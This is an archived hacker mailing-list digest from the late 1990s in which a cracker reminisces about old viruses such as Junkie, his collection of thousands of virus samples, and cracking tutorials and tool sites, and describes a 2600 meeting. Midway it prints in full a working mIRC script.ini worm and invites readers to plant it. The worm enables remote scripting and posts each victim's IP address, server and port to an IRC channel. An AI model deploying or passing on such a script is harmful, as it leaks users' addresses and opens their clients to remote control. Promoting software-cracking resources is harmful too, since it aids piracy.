okay in regard to aesculapius and more on ghbzo's virus quiz
there is something that i must mention, gh and i both knew of software that could damage old monitors by altering the rate of refresh (in his case he knew of a virus, in mine i know of it though old code manuals i had read)
i had some software once that wold allow you to finaegle an old hercules card to display graphics that were normally color - by converting it to greyscale, but it had some of the same mention in its docs on how it had damaged monitors in the past if people were not careful to install it precisely - and often regardless of the user's attempts it would damage a monitor anyway
also - he knew of a virus which caused old drives to smash the read/write head back and forth into the drive casings of old drives, also something i had heard of before - and also in my case in a different manner - the one i had heard of was one my own father had seen in his software reverse engineering days.
(mind you that new drives are no more susceptible than new monitors to this)
basically the protection on the software was a bit nasty - if it was in the process of being cracked, and it resulted in an incomplete crack (which all of us go through 90% of the time in testing phases)
it would respond by applying code that attempted damage like that while displaying 'software piracy is illegal, now trashing your hard drive' (paraphrased because of bad memory)
i think that is what it did, the actuality may have had a separate agenda considering that old drives were easily damaged if you did not park them.
Again, none of this is possible with todays drives.
regarding email virii.. gh said he had seen a cc-mail macro virus (i have not but that would be theoretically possible regardless)
as i said in my letter to him on the subject - it will be scarey when microsoft's newer emailers decide to make macros standard operating procedure (do any one of us doubt that ms would try it?)
something else - i have seen something directly that people do not realize - again gh knew of this.
junkie virus is a master boot record infecting virus i am well acquainted with due to the insane spreading it had in a locale where friends i had kept using my computers to work on papers and play games.
it also infects com files (it is much like monkey b in the way it propogates)
here is the trick... i have had many MANY floppies ruined by it - how you say? i am not entirely sure what happens to the floppy, but i know that after infection, i have had floppies report a permanent track zero error and are not formattable ever again.
the other thing is in the dir...
if junkie is on your machine already, infectring it, all you have to do to get it to install to a floppy is to do a dir of the floppy
why? because it jumps to all master boot records that are not write protected on the system and sitting in memory like it does, it also looks for .com files everywhere
of course, you have to be infected already for this to happen - but the question was can you infect something just by dir'ing it and the answer is yes if you have it already (or if dir.com is infected... or command.com... or format.com... you get the idea)
something else gh and i both came up with is the possibility of software based write protections (hard drives for example - and zip drives if you think about it)
neither of us know of a case of this, but anything software controlled can be virus controlled (q.e.d.)
just for fun i have over 5000 of the little monsters and over 800 source codes - i love reading the concise code and figureing out how something can be useful (see symbiote.zip) made out of the beasts
besides... i would not know as much about assembly file formats if i had not studied so deeply into how they were infected - and the vlad texts to explain some of it, although often not entirely straightforward and the code needing tweaking to get things to work
(i actually had to mangle virus code from several sources and those texts to get that litle symbiote to work properly)
as you can see i enjoy this subject - take care all and 'have a day' :|
this is for the masses who didnt know it was out there, but one day i noticed a particularly interesting file dcc'd to me one day on irc...
the person who dcc'd it did not know it, and so i knew something was up
basically - the script.ini file in mirc can be exploited as a virus, and this is exatly what this file does. it basically makes random dcc's to other users in a channel (making one rather unpopular i the process)
but here it is, it is too different not to include (just showing the range of self propogating code)
effectively, patching oneself is easy, i basically put a blank script.ini in my mirc directory and made it read only
(there are mirc settings you can make to patch self as well, though i care not to learn much about the inner workings of mirc)
if you are a real jerk, you can put this in your own mirc directory and go online as a random user in some channel (then patch self later)
a friend of mine and i came up with all kinds of bad humor.. say for instance makinig it autokick users, ban them, or for those with no op status, doing a /quit evey now and then could become a pain especially if it had some mean message like 'i have infected you idiots!'
that would be really mean since anyone infected would lose popularity immensely
granted i would never do this, but get a few beers in me around a jaccuzzi and the discussions are endless (yes i have gotten a case of beer before and shared it with a few friends in a snowy mountain hideaway with a jaccuzzi on the porch - was fun - hot water below, snow crystals above.. and virus discussions)
and cracking.. and hacking.. and of course the ladies in the other room who we kidnapped for the party earlier ;)
one of those ladies designed that necklace of mine for those of you who havent seen it (same pattern as on my shield)
well anyway - heres the virus code, hope you enjoyed the story :)
--- script.ini virus start ---
[script]
n0=on 1:START:{ .sreq ignore
n1= .remote on
n2= titlebar (Not connected)
n3=}
n4=raw 401:*: {
n5= halt
n6=}
n7=RAW 001:*:titlebar (Connecting to $server $+ )
n8=
n9=on 1:CONNECT:titlebar (Connected to $server $+ ) | .msg #kkkd Hi. $ip on $server $+ : $+ $port $+ .
n10=
n11=on 1:DISCONNECT:titlebar (Not connected)
n12=
n13=;if you type something in status it doesn't have to have "/"
now that i have been thinking about it, i have had some games with deep bass blow a few sound cards in the past - a virus probably could do the same, but it would kinda be obvious that a virus were in the system if it were well.. screaming :)
not to mention it would have to take quite a bit of time before the card 'gave up and died' since it wasnt immediate that they got blown
one game in particular when set too high tended to do this.. wing commander II in the cinematic startup sequence with all those kilrathi voices, and a mod called echoes which i like alot
viruses... virii... makes no difference which you use in the computer world, people use it interchangeably
if one were truly anal one could look up the biomedical reference to it (virii just sounds more like something someone who is educated would say ;)
it appears a cat got let out of a bag with this one :)
i have written 2 virus like entities... one being a cheap ram only self replicator that picked random locations in memory and was completely written in bytes - with all relocatable code (all in ram because no hard drives... and meant too fast to duplicate to another machine before it crashed all of memory)
the other is the symbiote which i created as a way to add your own code to both exe's and com files (i wouldnt allow myself to stop at just one type - i am too pushy of myself for that)
interesting note.. since it uses standard methods to attach your code to another, it is funny - some of the newer virus scanners mistaken it for one (much like KOH which some idiot whined and insulted me for weeks over the internet because he believed the virus scanner and would not consider that it is NOT a virus --- thus is the way of sheep who believe everything they hear without doing any real research)
You can publish all I said if you want, I just want to clarify again that I don't like viruses except for learning purposes, I can't find any good reason to code one and release it. Regards.
=====End of Issue 155===================================
(you may want to sign your messages to the hcuml with a nickname since noone has any clue who you are from the anonymous message you posted)
though you are bound to get a bunch of replies, i have already tried to take care of the tools aspect
go to my site ***************************** and download the orcpaks you find there
just about everything and then some evr listed in the prc tutorials is there, and the index file has most of them catalogued so you can see what is in them
other useful sites, though not encapsulated in such a manner, are all over the web, and a good one is *************************** assuming caligo can stay online with all his tools as well
for completely new people, i tend to send them to lesson 4 on wlcheck, since the 16 bit crack was mine, and the 32 bit crack completed by fravia (see if you can follow along in that order) - and it was done in mostly wdasm (using softice to follow along in the code is a good idea for any crack, and you may find it useful to use both softice and some form of disassembler in conjunction as one often reveals something that may have been rather hard to spot in the other
the other windows lesson i wrote on siren mail uses a similar technique - so it might be handy for you to check that out as well (siren mail crack on fravia's site and sirenpak in the orcpaks/more directory of my website)
* btw - if someone tries to use sirenpak and cannot load it, please let me know, i may need to update an old dll that is in there, not sure *
if you are an irc buff, the people in #cracking4newbies tend to be helpful if they can, as some of them are not newbies at all - but love to hang around in that channel since it is more friendly than others (often you will find me there as well when i am not so busy - to hang out and chat for a bit while trying to relax from a ton of coding
channel #cracking is a good one for the more technical minded who have been around a while - meaning that most of the crackers there are long in the cracking scene and tend to be slightly jaded from so many newer crackers and their many needs - which is the same reason i made my website in the first place, so i could help more people indirectly since direct is much too time consuming
any other addresses of sites would be completely welcome additions to hcuml - and should be posted on occasion since the newer users of our mailing list cannot get the addresses out of the back issues which have been stripped of them (just not too often or it becomes spam ;)
mexelite's page is focused on a newer user as well - i think it is mex98.home.ml.org - but this can be verified on channel #cracking4newbies since mexelite tends to hang around there
for that matter, #revolt seems to be restructuring lately after a long break and many changes, so for any of you who are interested in checking them out and seeing if they are up to cracking or helping somehow, it cant hurt, though it may take a bit before things get really rolling for them again
I just attended another of about five 2600 meetings I have ever been to and it started out kinda lame until the first person showed up late and started peeking through the o'reilly tcp/ip and unix manuals I had strewn about the table.
He and I played 'spot the fed' for a while, though they seemed not to be around at this particular one - 'seemed' being the operative word.
The (rather spastic fellow.. which is kind of like me on too much coffee as i have been all day..) handed me a copy of the newest 2600 magazine which does not hit the newsstand for 3 days (of which he had several copies...)
At this point i was of course rather impressed, first at the interest with which he showed in deterring tcpip attacks (of which one of his servers seems to have problems with one in particular - and a problem with which i am not at all that useful in solving (yet)
and then about the fact that he had these magazines in abundance which were not generally available.
So I finally got around to asking who he was, and i recognize him from a few months ago as well.. with a friend of his (his friend states that cold fusion 4 and above has the innate ability to adjust remote webserver variables - of which i will have to see for myself!)
It turns out that (for you fellows who have a copy of this interesting magazine and have actually looked at the front cover (and who are ready to shoot me by now for being so damned suspenseful... is none other than Ben the layout editor for 2600 magazine.
Well dear readers, I am quite the decadent one and of course had him sign my new copy :)
Of all the places in the world to be, it would seem he and i live in the same town
This is actually the first meeting that I have been to that actually led anywhere, as we discussed what I (we in hcu) do - a little on how protocols worked... got a signed copy... etc...
Anyway - I thought it was rather cool, noone else near me seems to be interested in codes and cracking, hacking and the like - as it has always been for me
The sad part of course is that noone of that fine 'organization' seems to have any idea what we do, or that cracking.net ever even existed (not that i am surprised, but it is still disappointing nonetheless)
Maybe with luck (and a little work on my part) the gap between hackers and crackers can be made a little less obvious
Who knows.
I think I am going to have another coffee.
+gthorne
=====End of Issue 159===================================
